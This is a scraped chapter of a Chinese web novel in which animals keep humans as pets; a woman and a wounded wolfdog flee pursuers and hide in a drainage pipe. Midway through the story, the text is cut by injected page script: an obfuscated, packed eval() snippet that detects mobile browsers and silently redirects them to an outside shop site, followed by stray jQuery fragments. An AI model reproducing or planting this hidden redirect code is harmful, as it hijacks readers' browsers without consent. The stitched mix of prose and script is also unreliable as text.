@小爪冰凉:等一下,什么叫“被不明身份的动物围堵”?谁干的?凭什么?
@妈妈我今夜不回家:@宠物人类产业发展协会出来走两步?是不是你们干的?
@不要问鸡吃不吃鸡蛋啊混蛋:笑死,“不明身份”,就差指名道姓了吧,话说昨天猫头鹰的文章也被删了,有些官方动作不要太明显,脸都不要了。
@一只汪汪汪:是真的,我现在就在基地门口,好几只大猩猩堵着不让我进去,我刚报警,警察还没到。【图片】【图片】【图片】。
@打工猫三花最美不许反驳:宠物人协会这是违法的吧?官方知法犯法?
@鱿鱼摸鱼:你们一个个屁证据没有,张口闭口就是宠物人类协会,小心被告诽谤。还有猫头鹰那篇文被删怎么证明不是他自己删的?
@白毛浮绿水不一定是鹅也可能是萨摩耶:这还用证据吗?大家又不瞎。
@稀里哗啦咔嚓嚓:呃,只有我觉得这是在炒作吗?先拍视频引流,然后说被堵了卖惨,下一步是不是该众筹了?
@一只汪汪汪回复@稀里哗啦咔嚓嚓:上条我就看见你了,嘴怎么这么臭!没看见我前面发的照片吗?选择性眼瞎啊!
@妈妈我今夜不回家回复@鱿鱼摸鱼:有没有可能猫头鹰那篇文章就是证据,现在发生的这一切就是证据?你说不是那你拿出证据来啊!
@流浪人爱心救助基地志愿者山羊:感谢大家的关心与支持,目前基地暂时无法正常开放,我们正在与多方沟通协商解决。有领养意愿的朋友欢迎先关注官方账号@流浪人爱心救助基地,一旦恢复开放,我们会第一时间通知大家。请耐心等待,也请大家继续为流浪人发声。
……
秦臻咽下干巴巴的人粮,接过沈屹递来的水润润嗓子。
“你说雪貂继续发会不会……”
话还没说完,“嘭”!
房间门猛地一震,门框边缘的墙皮都被震落掉地。
几乎是同一瞬间,沈屹已经一把抓起床上的东西胡乱塞进包里,拎起秦臻塞进前胸口袋里。
只是这一声后,走廊又恢复安静。
沈屹的耳朵竖得笔直,快速而强烈的心跳声撞击着兜里的秦臻。
她抓着布料探出半个头,屏息凝神听了片刻。
隔着薄薄的墙壁,连隔壁房间的说话声都一并消失,原本嘈杂的旅店被死寂笼罩。
门外似乎有什么东西靠近,秦臻的心脏几乎要蹦出来,仰头看向沈屹。
沈屹竖起爪子示意噤声,身子极其缓慢地往窗户边靠近。
秦臻抓紧口袋边缘,死死盯着那扇破旧的木门。
木门的门锁是那种最普通的款式,锁舌在门框里晃荡,只要用力一撞就能打开。
“嘭!”
又是一声巨响,门锁的位置裂开一道缝,锁舌已经从门框里脱出一半。秦臻的心脏几乎要从胸腔里跃出。
“沈屹,窗户太小了,你出不去的!”
沈屹没回答,只是掀开窗帘往下扫了一眼。
这条巷子可从来没这么热闹过。
“嘭!”
又是一声,秦臻已经能看到走廊昏黄的灯光从缝隙里透进来。
“臻臻,抓紧了。”爪子压在秦臻头上,把她彻底按进兜里。
没时间留给秦臻和沈屹辩论从哪里逃脱更好,她只得矮下身子,在兜底缩成一团,双手紧紧攥着布料。
下一秒,巨大撞击声中,秦臻整个人腾空而起,急速的失重感让她几乎要吐出来。
玻璃炸裂的瞬间,秦臻感觉整个世界都在旋转。
落地的速度比秦臻的想象更快,重物砸在地上的震动随着身躯传到秦臻的耳膜,其中还夹杂着沈屹的闷哼。
秦臻被这突如其来的颠簸震得眼前发黑,但她顾不上自己,抓着布料探头想确认沈屹的安危。
但口袋被挤压着,挡住了她的视线,秦臻只能听见外面纷乱模糊的叫喊声、脚步声。
又是一阵天旋地转,秦臻跌坐在口袋底部,她仰头能看见上方毛茸茸的胸膛和下巴。
沈屹应该是在极速奔跑,秦臻稍微松口气,手撑着布料尽量稳住自己身形。
只是跑出去没多久,秦臻就察觉到不对。
沈屹每一步奔跑的节奏都和之前不同,跑得一歪一扭。
秦臻急了,可自己又帮不上忙。她抓着布料站起身,终于能看到外面了。
他俩正在黑咕隆咚的巷子里全速前进,巷子七拐八绕,沈屹虽然脚步踉跄,却跑得毫不犹豫,仿佛对这里极其熟悉。
沈屹一拐挤进一个窄缝,跳过一堆垃圾杂物,最后在一堵高墙前停下。
布料太软,秦臻没办法站稳,只能抓着边缘仰头往上看,她不敢喊怕打扰沈屹。
“臻臻,抓紧。”
沈屹伏低身子后退几步,猛地跃起直直冲向那堵高墙。
砖墙在眼前放大,沈屹前爪搭上墙头,后腿猛蹬,在空中剧烈晃动一瞬,又迅速贴近地面。
落地的瞬间,他身子往下一矮,但最终还是稳住了。
墙后是一片废弃的荒地,连路面都没有,满地的碎石杂草和垃圾。
沈屹没有停,还在继续往前走,只是他步伐踉跄,胸腔剧烈的喘息和心跳声几乎压过周遭的环境音。
秦臻坐不住了,努力提高音量:“沈屹,你放我下来,你的伤怎么样了?”
沈屹没理她,继续往前走。
他在荒地上没有方向地横七竖八绕了几圈,才折返回荒地边缘,钻进一个半掩在泥土里的管道。
沈屹在管道内艰难转过身子,前爪卖力刨着半湿润的泥土,将露出一半的入口彻底堵上后,他终于贴着管壁慢慢躺下。
感受到沈屹停下来,秦臻立马手脚并用从衣兜里爬出来。
管道内黑漆漆一片,鼻腔内满是潮湿泥土的腥臭味,秦臻只得打开手环的电筒。
狼犬毛茸茸的身子背对管道口,身体蜷缩起来,把入口挡得严严实实。
“沈屹……”
灯光下,平日里泛着光的干净毛发上全是血痕和垃圾,后腿更是被鲜血染成了红色。
“我没事……”
沈屹的呼吸喷洒在秦臻脸上,也带着血腥味。
秦臻没吱声,默默爬到背上,从沈屹包里扯出应急的物品拖到地面。
应急包都比秦臻大上一圈,她用尽全力爬上爬下,终于在里面找到纱布和碘伏。
沈屹似乎连说话的力气都没有了,只是躺在管道内剧烈喘着气,口鼻附近的白沫已经积成一小汪水。
秦臻抹了把汗,依次把纱布碘伏搬到后腿边上。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17693143|204100||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“沈屹,你忍着点,千万别蹬腿。”
碘伏的瓶身比她胳膊都粗,秦臻双手环住瓶盖,用尽全力朝左边旋转,扭开盖子的瞬间有液体溢出来,秦臻赶紧将瓶口推高。
她环抱住瓶身,短短两三步路都走得异常小心谨慎,生怕洒在管道内。
沈屹后腿的血污在灯光下泛着暗光,伤口处皮肉外翻,周围的毛发被血黏成一缕一缕的。
不知道是不是破窗时被玻璃划破的。
秦臻用肩膀顶着瓶口,对准伤口慢慢矮下身子,棕黄色的液体顺着瓶口往下淌,淋在伤口上。
沈屹的后腿只在接触碘伏的一瞬间抽动一下,便再没了动静。
但秦臻能听到沈屹的呼吸声更重了。
将剩下的小半瓶碘伏盖好,秦臻在自己身上蹭了蹭手,才抱起纱布走到后腿边。
她展开纱布,一头压在腿下,然后抱着纱布卷,绕着那条腿来来回回地缠。
缠了好几圈,直到看不到外露的伤口,她才喘着气停下来。
将剩余的纱布放在沈屹肚皮上还算干净的地方,秦臻试着用力撕断,却怎么也撕不开。她都准备上牙去咬了,沈屹却突然坐起身,伸过头来咬住纱布的另一头。
“撕拉”一声,纱布应声而断。
他又脱力地倒了回去。
秦臻抓住纱布系好死结,走到沈屹头边。
“还疼吗?”
沈屹没说话,只是用爪子蹭了下秦臻,肉垫上全是泥土和灰烬,但秦臻一点都不介意,反手抱住爪尖轻轻抚摸着。
管道外隐约传来纷乱的脚步声,秦臻立马关闭手环的电筒。
外面的脚步声越来越近,似乎就在秦臻头顶上方,她屏住呼吸,贴着沈屹的脖子蹲下,下意识攥紧他身上的毛发。
沈屹的耳朵动了动,但没睁开眼睛,隔着皮毛传来的心跳声比刚才缓和了些。
“跑哪儿去了?”
“这儿全是味道啊。”
“肯定在附近,快点找!”
脚步声在附近徘徊了十几分钟,终于渐渐远去。
荒地又恢复了寂静,秦臻竖着耳朵听了半晌,确定外面没有动物了才敢打开手电。
她一松懈,才发现自己背上的衣服都被冷汗打湿了,揪着沈屹毛发的指尖已经掐进了掌心,留下一道道红印。
秦臻拍了拍脸爬起来,打着手电围着沈屹绕了一圈,仔细检查了自己能翻看的每一处地方,确认只有后腿伤得最重,其他地方都是浅淡的划痕,这才安下心来。
沈屹一直躺着没有动,只是每次秦臻绕到正面,那双浅琥珀色的眼睛都始终盯着她。
“等你休息好了咱们再走。”
秦臻凑到沈屹脸颊边亲了一下,用手理顺他凌乱的毛发,最后在沈屹肚皮上找了个舒服的位置蜷缩着躺下。
一人一狗在阴暗潮湿的管道里紧紧相依。
黑暗中,秦臻紧绷的大脑还在自动复盘这几天的每一个环节。
虽然闭着眼睛,但心里一直有个声音在质问自己。
雪貂的视频发布以后,流浪基地的领养率真的有上升吗?
大众看到猫头鹰的报道,然后呢,真的会质疑宠物人类发展协会吗?还是又跳到下一条新闻?
她不知道答案,也不知道去哪里寻求答案。